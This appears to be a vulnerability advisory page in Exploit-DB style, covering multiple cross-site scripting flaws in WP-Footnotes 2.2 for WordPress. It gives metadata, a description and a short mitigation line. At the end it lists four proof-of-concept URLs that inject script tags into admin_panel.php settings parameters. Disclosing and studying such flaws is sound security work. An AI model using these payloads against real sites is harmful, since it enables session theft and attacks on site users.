WP-Footnotes plugin for WordPress Multiple Cross-Site Scripting Vulnerabilities

vendor:

WP-Footnotes

by:

SecurityFocus

4.3

CVSS

MEDIUM

Cross-Site Scripting

CWE

Product Name: WP-Footnotes

Affected Version From: 2.2

Affected Version To: 2.2

Patch Exists: NO

Related CWE: N/A

CPE: a:wordpress:wp-footnotes

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

WP-Footnotes plugin for WordPress Multiple Cross-Site Scripting Vulnerabilities

WP-Footnotes plugin for WordPress is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Mitigation:

Input validation and output encoding should be used to prevent cross-site scripting attacks.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/27572/info

WP-Footnotes plugin for WordPress is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. The plugin also insecurely exposes administrative functionality.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects WP-Footnotes 2.2; other versions may also be vulnerable. 

http://www.example.com/wordpress/wp-content/plugins/wp-footnotes/admin_panel.php?wp_footnotes_current_settings[priority]="><script>alert("XSS")</script>

http://www.example.com/wordpress/wp-content/plugins/wp-footnotes/admin_panel.php?wp_footnotes_current_settings[style_rules]=&lt;/textarea&gt;<script>alert("XSS")</script>

http://www.example.com/wordpress/wp-content/plugins/admin_panel.php?wp_footnotes_current_settings[pre_footnotes]=&lt;/textarea&gt;<script>alert("XSS")</script>

http://www.example.com/wordpress/wp-content/plugins/admin_panel.php?wp_footnotes_current_settings[post_footnotes]=&lt;/textarea&gt;<script>alert(":-(")